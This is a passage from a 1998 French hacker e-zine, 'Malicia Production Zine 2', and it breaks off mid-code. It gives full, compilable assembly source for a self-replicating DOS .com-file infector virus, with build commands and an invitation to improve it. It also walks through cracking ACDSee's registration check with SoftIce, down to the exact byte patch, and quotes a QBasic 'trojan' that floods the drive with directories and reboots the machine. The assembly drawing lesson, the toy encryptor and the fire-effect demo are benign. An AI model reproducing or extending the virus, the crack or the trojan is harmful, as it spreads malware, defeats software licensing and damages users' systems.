Copy Link
Add to Bookmark
Report
Malicia Production Zine 2
*-----------------------*
**Malicia Production Zine**
*-----------------------*
NuMbEr 2
Introduction:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Toujours plus fort et toujours plus interessant(enfin j'spre) voila
Malicia Production Zine 2!! Je comptais faire une analyse du protocole
utilis par la taupe de JC'zic mais plus moyen de faire marcher une taupe
sur mon systme........what the fucking shit????? Enfin bon c pas grave j'ai
prvu d'autres choses interessantes ;). Heille j'y pense comme a, ce
serait cool une rubrique courriers des lecteurs alors si vous avez qqchose
dire, ou vous voulez crire un article:
freaking@caramail.com
Ha autre chose:
"Windows 98 inaugure son premier bogue (18/08/1998) Aprs les difficults
de migration de Windows 95 vers Windows 98, le nouveau systme d'exploitation
de Microsoft vient de se voir dot de son premier bogue officiel. La compagnie
anglaise Prove It 2000 vient en effet de montrer que, lorsque Windows 98 est
relanc entre 23h59 et minuit, celui-ci fait un bond dans le temps d'un ou
deux jours. De quoi srieusement endommager une base de donnes... Microsoft
a promis d'installer une " rustine " sur son site dans les jours
venir".
Hahaha et c que le premier ;). Je vous dit qu'a chaque nouvelle version
ils en rajoutent :)).
<SaTaNiK>
Sommaire:
ÄÄÄÄÄÄÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Titre de l'article: ³ Sujet: ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Virus: infecteurs com ³ Virii ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Cours de Cracking 2 ³ Cracking ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation
l'asm 2 ³ Asm ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ UHA, is that about Hack??? ³ Delire ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Fire effect ³ Demo Coding ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation au cryptage 2 ³ Cryptage ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
<--------------------------------->
Virus: Infecteurs .com
<--------------------------------->
Voila mon premier article sur les virus, je commence par les
infecteurs de .com car ce sont les plus simples, aprs on fera les .exe et
aprs on verra ;).
La premire chose
savoir sur les virus c'est qu'ils s'ecrivent
en assembleur, pour la simple raison que c plus petit(on va pas faire des
'virus' de 400 Ko comme JC'zic ;)).
Mais tout d'abord tudions ce que fera l'infection:
Avant infection:
************ *************
* mov ax, * * jump *
* 1234 * * virus *
************ *************
* * * * < fonc
* Clean * * Infec *
* File * * File *
* * * *
************ *************
* Virus * < virus
*************
* mov ax, *
* 1234 *
*************
* jump *
* fonc *
*************
Essayez de bien vous mettre ce schma en tte car il est important! Donc en
fait notre programme marche de la faon suivante lors de l'infection, il
sauvegarde les 3 premiers bytes, et les remplacent par un saut sur la fin du
fichier, et l
il s'crit dans le fichier...
Lors de l'execution donc le saut aura lieu, le virus s'execute(infecte
d'autres fichiers ;) ) et ensuite remplace(en mmoire) les bytes qu'il avait
remplac par les originaux et saut
100h...et donc le prog s'execute
normallement
Bon et comme d'ab je vous propose du code ;).
******************************************************************************
code segment
; SEGMENT DE CODE
assume cs:code,ds:code
;CS ET DS POINTENT TOUT LES 2 SUR CODE
org 100h
;LES FICHIER COM COMMENCENT A 100H
debut:
db 0e9h,0,0 ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR
;FAIRE COMME SI LE PROGRAMME ETAIT
;INFECTE
virus:
call depart_virus ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT
;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME
;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST
;MISE SUR LA PILE)
depart_virus:
pop bp ;RECUPERE JUSTEMENT CETTE VALEURE
sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
;VIRUS POUR OBTENIR LE DEBUT DU CODE
;DU VIRUS...
remet_3_bytes:
mov cx,3 ;VA DEPLACER 3 OCTETS
lea si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX
mov di,100h ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT
;A 100h...)
rep movsb ;REMET LES OCTETS ORIGINAUX
init_dta:
lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place
mov ah,1ah ;FONCTION 1Ah
int 21h ;LANCE L'INTERRUPTION
trouve:
mov ah,4eh ;PREMIERE RECHERCHE
lea dx,[bp+comsig] ;MET LE NOM DU FICHIER QU'ON CHERCHE
;DANS DX(ici *.com)
mov cx,7 ;RECHERCHE UN FICHIER AVEC N'IMPORTE
;QUELLE ATTRIBUTS...
cherche:
int 21h ;LANCE LA RECHERCHE
jnc ouvre ;SI FICHIER TROUVE SAUTE A ouvre
jmp fin_cherche ;SINON VA A fin_cherche
ouvre:
mov ax,3d02h ;FONCTION 3Dh
lea dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM
;DU FICHIER TROUVE
int 21h ;LANCE L'INTERRUPTION
mov bx,ax ;MET BX DANS AX
mov ah,3fh ;LIT LES 3 BYTES QUI VONT CHANGE
lea dx,[bp+troisbytes] ;ET PIS LES MET DANS troisbytes
mov cx,3
int 21h ;EFFECTUE LA LECTURE
mov ax,word ptr [bp+dta_place+1ah] ;MET DANS AX LA TAILLE DU FICHIER
mov cx,word ptr [bp+troisbytes+1] ;MET DANS CX LES 2 DERNIERS BYTES
;DU JUMP DONC LA TAILLE DU
;FICHIER SI INFECTE
add cx,end_virus-virus+3 ;Y AJOUTE LA TAILLE DU VIRUS
cmp ax,cx ;COMPARE LES 2
jz ferme ;SI EGALE ALORS INFECTE
sub ax,3 ;ENLEVE TROIS A LA TAILLE
;CAR NOUS LES AVONS DEJA LUS
mov word ptr [bp+newjump+1],ax ;MET DANS LES 2 DERNIERS BYTES
;DE NEWJUMP LA TAILLE DU FICHIER
;ET DONC CALCULE LE SAUT QUI
;REMPLACERA LES 3 bytes
mov ax,4200h ;VA AU DEBUT DU FICHIER
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;ET ECRIT LES 3 BYTES
mov cx,3
lea dx,[bp+newjump]
int 21h
mov ax,4202h ;VA A LA FIN DU FICHIER
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;ET ECRIT LE VIRUS
mov cx,end_virus-virus ;TAILLE DU VIRUS
lea dx,[bp+virus] ;POINTE SUR VIRUS
int 21h
ferme:
mov ah,3eh ;FERME LE FICHIER
int 21h
mov ah,4fh ;CHERCHE PROCHAIN FICHIER
jmp cherche
fin_cherche:
mov dx,80h ;REMET LE DTA A SA PLACE ;)
mov ah,1ah
int 21h
mov di,100h
jmp di
comsig db '*.com',0
troisbytes db 0cdh,20h,0
newjump db 0e9h,0,0
end_virus label near
dta_place db 42 dup (?)
code ENDS
END debut
******************************************************************************
Pour compiler:
--------------
tasm Virus.asm
tlink Virus.obj /t
Bon voil
maintenant que vous avez le code source avec des explications sous
les yeux je vais expliquer des choses en plus car j'ai pas eu la place
d'en parler dans la source:
******************************************************************
pop bp ;RECUPERE JUSTEMENT CETTE VALEURE
sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
******************************************************************
En fait on fait a car l'OFFSET depart_virus est un label et quand il est
compil par tasm il devient un nombre, mais quand nous infectons un fichier
le virus se trouve
la fin du fichier et donc ce nombre n'est plus correct...
Il faut donc trouver le deplacement par rapport au fichier courant, pour
cela on recupere la vrais adresse de depart_virus et on lui soustrait
l'ancienne pour obtenir le dbut du virus dans le fichier...comme je sais
que c'est assez dur
comprendre je vais vous faire une chtite explication:
le fichier non-infect fait 1000 octects
l'adresse de depart_virus aprs compilation est 6
Une fois le virus lan pop bp donc bp vaut 1006...on soustrait 6 et
on obtient le dbut du virus :). C clair cette fois non?
******************************************************************
lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place
mov ah,1ah ;FONCTION 1Ah
int 21h ;LANCE L'INTERRUPTION
******************************************************************
DTA est en fait une table qui vous permet d'avoir des informations sur le
fichier ouvert, pour pouvoir l'utiliser il faut lui allouer une place
et a se fait via cette interruption...pour plus d'informations:
DTA
------------------------------------------------------------
Offset Size Function
0h 21 Bytes Reserv
15h 1 Byte Attributs du fichier
16h 2 Bytes(WORD) Time du fichier
18h 2 Bytes(WORD) Date du fichier
1Ah 4 Bytes(DWORD) Taille du fichier
1Eh 13 Bytes Nom du fichier
------------------------------------------------------------
Bon voil
vous pouvez vous amusez avec ce virus et l'ameliorer :).
Bon amusement ;)
Bon je met le virus en com avec le mag :) et il fait: 167 octect!!!
Alors imaginez tout les conneries que contient la taupe de
JC'zic(400 000 octets environs ;))
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
/%%%%%%%%%%%%%%%\
%%Cours de CraCk2%%
\%%%%%%%%%%%%%%%/
Re-bonjour et bienvenue dans la 2me partie de mon tutorial :).
Cette fois on s'attaque
un peu plus amusant mais pas trs dur quand mmme...
-Softice V3.2
Ce logiciel est un dbuggeur, c'est
dire un programme qui permet de suivre
le programme alors qu'il s'execute et ainsi de reprer par exemple de reprer
l'endroit ou il compare votre serial au bon serial. Il existe d'autres
dbuggeurs comme Turbo Debuggeur qui est distribu avec les programmes
Borlands mais il est loin d'tre aussi performant que Softice...
-W32Dasm V8.9
Il ne sera pas vraiment ncssaire mais permet d'avoir une vue d'ensemble du
programme....
La dernire fois le logiciel
cracker tait poua trs connu alors cette fois
i je vous propose un peu plus connu(en fait je pense que tout le monde l'a :)
, c'est Acdsee V2.0(je sais c pas la dernire mais c la meilleure :).
Bon cette fois y va falloir bosser :). Alors pour commencer vous
installez softice, dans softice(Ctrl+D) vous aurez besoin d'enabler plusieurs
options qui vous permettront de voir plus de choses:
CODE ON
DATA
R
voila 3 trucs que vous devrez tapez pour avoir tout ce dont vous avez besoin
sous les yeux.
Bon revenons
nos moutons :), lancez acdsee et comme d'ab allez
dans help->register et la il vous demande un code et un nom...alors la on
fait un ptit ctrl-d et on est sous softice, vous tapez alors TASK pour savoir
sous quel nom runne acdsee.....normalemment il devrait runner sous le nom
"Acdsee32". Pour savoir les diffrents sous-objets qui composent cette
application vous tapez HWND Acdsee32 et vous obtenez un liste. Dans cette
liste il y a 2 edit qui sont en fait les zones ou vous crivez votre nom
et votre srial. Vous relevez donc un des Window Handle(le nombre le plus
gauche) de type edit et vous tapez un ligne comme celle i:
BMSG 1234 WM_Gettext
en remplaant bien videmment le numro 1234 par le window handle du edit...
Nous venons la de poser un breakpoint qui arretera le programme
et lanera softice quand Acdsee32 enverra le message WM_Gettext
la boite
de dialogue(pour rcuprer le texte quoi....)
Donc nous rentrons un nom et un srial bidon et on appuye sur OK.
Et pof Softice apparait, on appuye sur ctrl-d car de tout faon le programme
n'a pour le moment que rcuprer le nom...softice break encore et la vous
appuyez sur F12 le temps de revenir dans le code du programme acdsee qui
devrait se trouver dans les 0137:004XXXXX ou qqchose comme a...
Plus exactent vous devriez avoir le code suivant devant les yeux:
******************************************************
lea eax, [esp+38] ;Met l'adresse du pass dans eax
lea ecx, [esp+18] ;Met l'adresse du nom dans ecx
push eax
push ecx ;Met sur la pile
call 00402FC0 ;Verifie le pass
add esp,08
test eax,eax
jle 0040372A ;Si mechant garon Fait le jump
******************************************************
Ici si vous essayez de nopper le jump le logiciel vous dira 'merci
de vous tre enregistr' mais il ne s'enregistrera pas......donc
nous allons devoir tudier plus en profondeur le premier call. Pour cela vous
mettez un break en double cliquant sur le call dans softice...donc vous
recliquez sur Ok et softice break, la vous rentrez
l'interieur du call en
appuyant sur F8.
Bon dans cette boucle le premier call verifie si le nom fait plus
de 5 caractres, si oui il met eax
un si non il met eax
0. Et juste aprs
ce call il fait un ret si eax==0. Bon moi j'ai rentr SaTaNiK comme nom
donc a marche :). Ensuite le programme ne fait plus qu'un call et retourne
d'ou il vient....donc ce call la verifie le password...mais si vous rentrez
dans ce call l
vous vous rendrez vite compte que la procdure est assez
complexe....
Mais regardez juste aprs ce call il y a quelques trucs intressants:
****************************************************
call 00421750 ;Voici donc le jump qui
;Verifie le serial
add esp, 0000000C
cmp eax, 00000001 ;Hoooo comme c'est interessant :)
;Il compare deja eax =)
sbb eax, eax
pop esi
inc eax
ret ;Pis il retourne du call
*****************************************************
Et oui il compare deja eax pour voir si le serial est bon...
et cette comparaison
pour consquence de modifier le contenue de eax en
dessous :).
Donc nous avons cette comparaison
modifier:
83 F8 01 cmp eax, 00000001
en
83 F8 00 cmp eax, 00000000
Et voila le tour est jou :).
Voila, voila c'est finit pour mon deuxime cours de cracking...
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
ÚÄÄÄÄÄÄÄÄÄÄÄ¿
³Cours d'asm³
ÀÂÄÄÄÄÄÄÄÄÄÂÙ
³LECON Nø2³
ÀÄÄÄÄÄÄÄÄÄÙ
Cette fois on va faire un......allez essayer de deviner quoi :). On va faire
un programme de Dessin!!!
Bon pour faire un programme de dessin voyons ce dont on
besoin...d'une
souris...et pis d'un ecran en mode graphique...et ensuite nous devrons crer
des fonctions :)...
Pour pouvoir afficher une image il faut d'abord passer en mode graphique car
au dmmarage de l'ordinateur(ou en mode dos normal) on est en mode texte.
Pour cela on va trs simplement faire appel
la fonction 0 de l'interruption
10h. Cette fonction permet de changer le mode de l'cran...
***FONCTION 0 DE L'INTERRUPTION 10H***
Paramtres d'entre:
-AH=00
-AL=mode vido
**************************************
2 modes vidos nous interesse particulirement: le mode 3h est celui dans
lequel nous devrons revenir
la fin du programme(mode texte). Le mode 13h
quand
lui est le mode graphique qui nous interesse car il permet 256
couleurs dans une rsolution de 320*200 pixels(c'est notre mode graphique).
Donc pour passer en mode graphique nous ferons simplement:
**********
mov ah,0
mov al,13h
int 10h
**********
Donc nous voila en mode graphique...mais maintenant il faut absolument que
nous sachions afficher un point...pour cela nous pourrions encore utilis
une interruption mais elle sont trop lentes pour ce genre de chose...
Pour afficher un point sur l'cran nous devons pointer sur la mmoire vido.
Pour cela nous allons utiliser le segment ES qui pointera sur la mmoire
vido...pour faire cela il suffit simplement de faire pointer ES sur A000H:
*************
mov ax,0a000H
mov es,ax
*************
Il y a deux choses que vous devez avoir not rien qu'a ces 2 lignes, c'est
qu'on ne peut pas crire directement dans les segments...et que sur on veut
mettre une valeure dans une variable et si celle si commence par une lettre
(la valeur) et bien nous devons rajouter un 0 devant pour que le compil ne
la prenne pas pour une variable...
Pour mettre un point ce sera donc trs simple il suffira de mettre par exemple
dans di la valeure qu'on veut attendre et on met la couleur dans ce point.
Un ptit exemple pour vous claircir les ides:
***********************
mov di,50
mov es:[di], byte ptr 5
***********************
Ce ptit code fera apparatre un point
la ligne 0 colonne 50...si nous avions
voulu mettre un point dans la ligne 8 colonne 30 il suffisait de faire un ptit
calcul: ligne*320+colonne=di...
Pour se servir de la souris MS-DOS nous offre une panoplie de fonctions:
**Initialiser la souris**
fonction 00 de l'interruption 33h
-ax=00
*************************
Cette fonction renvoit 0 si aucun pilote de souris n'est install...
**Affiche/cache la souris**
fonction 01 de l'interruption 33h
-ax=01
***************************
Si vous executez cette fonctions alors que la souris et visible, elle
disparaitra et inversement...
**Lit l'tat de la souris**
fonction 03 de l'interruption 33h
-ax=03
***************************
Cette fonction renvoit dans bx l'tat des boutons cod comme suit:
bit0=1 le bouton gauche
t actionn
bit1=1 le bouton droit
t actionn
Elle renvoit dans cx, l'abscisse X du pointeur et dans dx l'ordonne Y.
Qqchose de bizarre c que cx doit tre divis par 2....car la souris met la
valeure sur 640....et non pas sur 320...
Une des choses les plus importantes dans l'asm est l'utilisation des jumps...
Il existe en asm une grande quantit de jump dont je vais devoiler les secrets
ici! Il existe en mmoire une sorte de registre qui contient des indicateurs
qui sont soit
0 ou 1...et les jumps ne font que les tester...il existe
diffrentes fonctions qui modifient ces indicateurs mais la principale que
nous allons utiliser est cmp, cette instruction permet simplement de comparer
2 registres ou un registre et une valeur....
**je******************************************
ce jump ne fait le saut qu'en cas d'galit...
Exemple:
mov ax,5
cmp ax,5
je saute_car_5_est_egal_
_5
**********************************************
**jb******************************************
ce jump saut si la premire valeure est
infrieur
la deuxime...
Exemple:
mov ax,1
cmp ax,80
jb saute_car_1_est_plus_petit_que_80
**********************************************
Pour obtenir l'effet inverse, par exemple pour sauter si, dans notre deuxime
exemple ax tait plus grand que 80 il suffit d'intercaler un n au milieu du
jump...par exemple pour jb sela donnerait jnb...simple non?
Il existe aussi un autre saut, trs simple, c jmp qui effectue un saut sans
condition......
Ha j'oubliais, aprs le jump vous mettez ce qu'on appelle un label...c'est
simplement un nom...
**********Exemple**********
mov ax,8
cmp bx,ax
jb saut1
jmp saut2
saut1:
saut2:
***************************
Bon donc voila ce que devrait donner notre programme:
*****************************************
.MODEL SMALL
.STACK 100H
.386
.DATA
NOSOURIS DB "La souris n'as pas t trouve :(...$"
.CODE
debut: ;DEBUT DU PROGRAMME
mov ax,@DATA ;INITIALISE LE SEGMENT DATA
mov ds,ax
mov ax,0A000h ;POINTE LE SEGMENT ES SUR VIDEO
mov es,ax
mov ah,00 ;INITIALISE LE MODE VIDEO
mov al,13h
int 10h
mov ax,0 ;INITIALISE LA SOURIS
int 33h
cmp ax,0 ;ET JUMP SI PAS DE PILOTES
je no_souris
mov ax,1 ;AFFICHE LA SOURIS
int 33h
infinit_loop:
mov ax,3h ;TESTE L'ETAT DE LA SOURIS
int 33h
cmp bx,1
je button_1_pressed ;LOOK SI BUTTON 1 APPUYE
cmp bx,2 ;LOOK SI BUTTON 2 APPUYE
je button_2_pressed
jmp infinit_loop ;SINON REGARDE ENCORE ETAT
button_1_pressed:
sub cx,2 ;ON SOUSTRAIT 2
X ET Y POUR EVITER
sub dx,2 ;DES PROBLEMES AVEC L'AFFICHAGE DE LA SOURIS
mov ax,320 ;MULTIPLIE DX(Y) PAR 320
mul dx
shr cx,1 ;DIVISE LES X PAR 2
add ax,cx ;ET AJOUTE LES X
mov di,ax ;AFFICHE UN JOLI POINT TOUT BEAU =)
mov es:[di],byte ptr 5
jmp infinit_loop ;ET PIS REGARDE SI ENCORE APPUYE
button_2_pressed:
jmp good_end ;QUITTE LE PROGRAMME SI 2me BOUTTON PRESSE
no_souris:
mov ax,2 ;CACHE LA SOURIS
int 33h
mov ah,00 ;RETABLIT MODE TEXTE
mov al,03h
int 10h
mov ah,09h ;AFFICHE ERREUR
lea dx,NOSOURIS
int 21h
mov ax,4C00H ;ET QUITTE
int 21h
good_end:
mov ax,2 ;CACHE LA SOURIS
int 33h
mov ah,00 ;RETABLIT MODE TEXTE
mov al,03h
int 10h
mov ax,4C00H ;QUITTE
int 21h
END debut ;INFORME LE PROG QUE L'ON COMMENCE
debut
*****************************************
Et voila mon deuxime cours finit.....j'spre que vous aurez aim...et puis
il ne tient qu'
vous d'amliorer ce programme :)).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
UHA or the lamer Power
----------------------
Et oui j'ai fais un ptit article rien que sur ce zine compltement lame qu'est
UHA, un vrais poubelle je vous dit, mais comme je n'insulte pas sans raison je
vais vous le prouver....
*******************************
Lisez le avec Office ou Word...
*******************************
Uh, qu'est ce qu'il me dit l'autre, je devrais lire son zine avec Office
de MICROSUCK!!!! Mais j'ai pas a et je l'aurais jamais!!! Vive EDIT du
DoS :).
***********************************************************************
Ce Zine est publier par : [DaeMoN] en collaboration avec le UHA et tout
les autres qui y participe...
***********************************************************************
Le pauvre est tout seul pour faire son ptit zine pourris et il ose pas
le dire....(2 points pour moi)!!! :))
***************************************************************************
Mais en t k moi ca sera pas mon cas...Je vais continuer même si le FBI est
a mon cul...Je chierai pas dans mon froc comme eux...Bon on commence lançon
nous dans les chose un peu + sérieuse...GO
***************************************************************************
Rassure toi mon gars, c'est pas avec un zine aussi pourris que t'auras le
FBI au cul...(3)
************************************************************************
2. Bon alors un passwd file c un file (le nom le dit) qui contient les
information du user name et du passwd pour avoir accès a des Linux/Unix,
FTP, Wwwboard (Je vais surment expliquer dans ce # comment hacker un
wwwboard).
************************************************************************
Heille je sais pas si tu sais mon vieux mais le hack de wwwboard a deja
t fait...par Total Control que tu critique je crois... :))
*************************************************************
#include <pwd.h>
main ()
{
/* Programmer par [DaeMoN] */
/* Pour unshadow passwd file */
struct passwd *p ;
while(p=getpwent ())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
*************************************************************
Putain ya pas
dire c'est un bon programeur, il sait crer une structure
et pis lancer une fonction fiouuuuuu...mmme moi j'y arriverais pas(4)!!!
***************************************************************************
J'allais oublier ... pour downloader un passwd file de environs 400 account
prenez le a :
http://members.xoom.com/UHA_Daemon/Hackme.zip
***************************************************************************
Mais putain on s'en caliss de tes 400 accounts pov dbile, si on connait pas
le site qui va avec...rha putain t'es un criss de chier de lamer ou quoi?(5)
*************************************************************************
Bon OK...on commence dans cette article je vais vous expliquer comment
monter un trojan en Qbasic...c vraiment pas complexe vous allez voir si
vous avez déjà fais du QB vous allez pas avoir de misère...OK on commence
la programmation...
Rem programed by [DaeMoN]
Color 13,0
Print "Installation des Data File , veuillez patienter"
Print "Cela peut prendre de 10 a 15 minute selon votre ordinateur"
shell "cd\"
for a = 1 to 6666
a$=str$(a)
c$="md" + a$ + ".hee"
shell c$
next a
cls
print" UHA Version 3.7 est maintenant installer sur votre ordinateur..."
print" Bonne journée"
print
input "Appuyer sur ENTER pour rebooter votre system!";a$
shell "boot.com"
*************************************************************************
Hem quesque c'est hot, et en qbasic en +..ouhaaaaaa il cre 6666 rpertoires
oh putain c trop cool....non je dconne bien sur, c'est un vrais merde
et putain c trop dbile d'appeller a un trojan...rha putain c le pire de
criss de lamer(ptt pas en fait) que j'ai jamais vu!!!!
*****************************************************************************
Ce petit brin de programmation a été fais par moi et J-A-K-E pour pas de
discrimination...Ce petit trojan (un bon ami) crée 6666 répertoires dans le
C : hehe efficace vous me dirai...mais ya qua les effacer ...ben j'ai une
nouvelle Il ne sont pas effaçables désoler...Hehe non mais il faux un format
C : pour les effacer sinon il reste...Ca doit tu être chiant d'avoir 6666
répertoires dans son C : ... Amuser vous bien ! ! !
*****************************************************************************
C'est vrais que ya de quoi revendiquer son coups, un truc aussi bien crit
c'est vraiment rare....comment a il sont pas effacable????excuse mais je
viens de voir que les noms des rpertoires tait ?.hee et ben un bon
deltree *.hee et pis ya pu rien, allez retourne dans ta cave pov lamer...
Bon voila j'ai pouss mon coup de rage contre la nullit qui s'abat sur le
monde du hacking :)). Enfin je souhaite malgrs tout un bon avenir
UHA ;)).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
Initiation au CræpÅage 2
!!!!!!!!!!!!!!!!!!!!!!
Hehe j'ai un peu amliorer le crypteur de la dernire fois, cette fois
il a besoin d'un code pour crypter....
******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>
void main(int argc, char *argv[])
{
unsigned long taille;
unsigned long index;
unsigned char *buffer;
unsigned char index2;
unsigned char Signature[10];
unsigned char good_key[50];
unsigned char crypt=33;
FILE *to_crypt;
FILE *crypted;
printf("Spiritic Crypter By SaTaNiK V0.2\n\n");
if(argc!=3)
{
printf("Usage:\n");
printf("Crypter <source_file> <crypted_file>\n");
exit(0);
}
to_crypt=fopen(argv[1],"r+b");
if(to_crypt==NULL)
{
printf("Can't open source file...\n");
exit(1);
}
crypted=fopen(argv[2],"wb");
if(crypted==NULL)
{
printf("Can't create crypted file...\n");
exit(1);
}
for(index=0;index<50;index++)
{
good_key[index]=0;
}
try_again:
printf("Please enter a 10 digits key:\n");
cin >> good_key;
if(good_key[9]==0)
{
printf("You don't enter a gook key(you're stupid?)...\n");
printf("Try again...\n");
goto try_again;
}
fseek(to_crypt,0,SEEK_END);
taille=ftell(to_crypt);
fseek(to_crypt,0,SEEK_SET);
buffer=(unsigned char *)malloc((taille+10));
if(buffer==NULL)
{
printf("Can't allocate enought memory...\n");
exit(1);
}
printf("I'm crypting master...\n");
index2=0;
Signature[0]='S';
Signature[1]='p';
Signature[2]='i';
Signature[3]='r';
Signature[4]='i';
Signature[5]='t';
Signature[6]='i';
Signature[7]='c';
Signature[8]='C';
Signature[9]='r';
for(index=0;index<10;index++)
{
buffer[index]=Signature[index];
buffer[index2]+=good_key[index2];
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
}
for(index=10;index<taille+10;index++)
{
buffer[index]=(unsigned char)getc(to_crypt);
buffer[index]+=good_key[index2];
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
}
fwrite(buffer,1,(taille+10),crypted);
printf("File crypted successfully :)\n");
exit(0);
}
******************************************************************************
Avec le mag, il y a une fichier crypt(Hello.cry) alors le premier qui
m'envoit la solution pour casser le code(c assez faile en fait) je la publie,
videmment faut que a soit clean comme rponse ;). Sous la forme d'un prog
a serait mieux =).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
***************
<Fire CoDiNg>
***************
Vous ne le savez sans doute pas, j'adore les dmos :). Si vous ne savez pas
ce qu'est un dmo et bien c'est en fait un ensemble de programmation, de
graphs et de musique qui rend qqchose de trs bien(enfin la plupart du temps
car c comme partout, y a des rats). Si vous ne connaisez pas je vous
conseille "second reality" qui date un peu mais qui est trs bien ou alors
"Robotnik" qui est bien aussi :).
Bon pour revenir au sujet, nous ce qui nous interesse c'est le code :), enfin
moi du moins, ici je vous propose de coder un effet de feu, un effet qu'on
ne voit plus beaucoup dans les dmos mais qui est interessant
coder :).
A vrais dire, en codant cette effect je ne me suis servir d'aucun tutorial
ou quoi que ce soit, je me suis assis devant l'ordi en me disant:
"je dois faire un effet de feu ;))".
Bon on va pas tout de suite faire une belle palette, on va tout simplement
faire une palette qui va du noir(0) au blanc(255).
******************************
for(index=0;index<256;index++)
{
r=index/4;
g=index/4;
b=index/4;
}
******************************
Bon nous allons reflechir
comment faire un effet de feu...moi la premire
mthode qui m'est venu
l'ide tait de faire des lignes qui partait du
bas de et de longueur allatoire, avec un effet de floue...Vous trouverez
l'executable(Test.exe) avec le zine...
Comme vous pourrez vous en aperevoir, ce n'est pas du tout un effet de feu,
alors je me suis dit....mais quesqu'il manque??? Et puis j'ai trouv, les
flames ne montent pas!!!! Donc il faut crer une fonction qui commence par
le haut, et qui mettent les couleurs au dessus....
Donc finalement voici le code:
******************************************************************************
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <stdlib.h> //TOUTES LES BIBLIOTHEQUES DONT ON
#include <i86.h> //A BESOIN
#include <math.h>
#include <malloc.h>
#include <process.h>
#include <mem.h>
//FONCTION POUR GENERER UN NOMBRE ALEATOIRE
#define ALEA(n) (((float)rand() / (float)RAND_MAX)*(n))
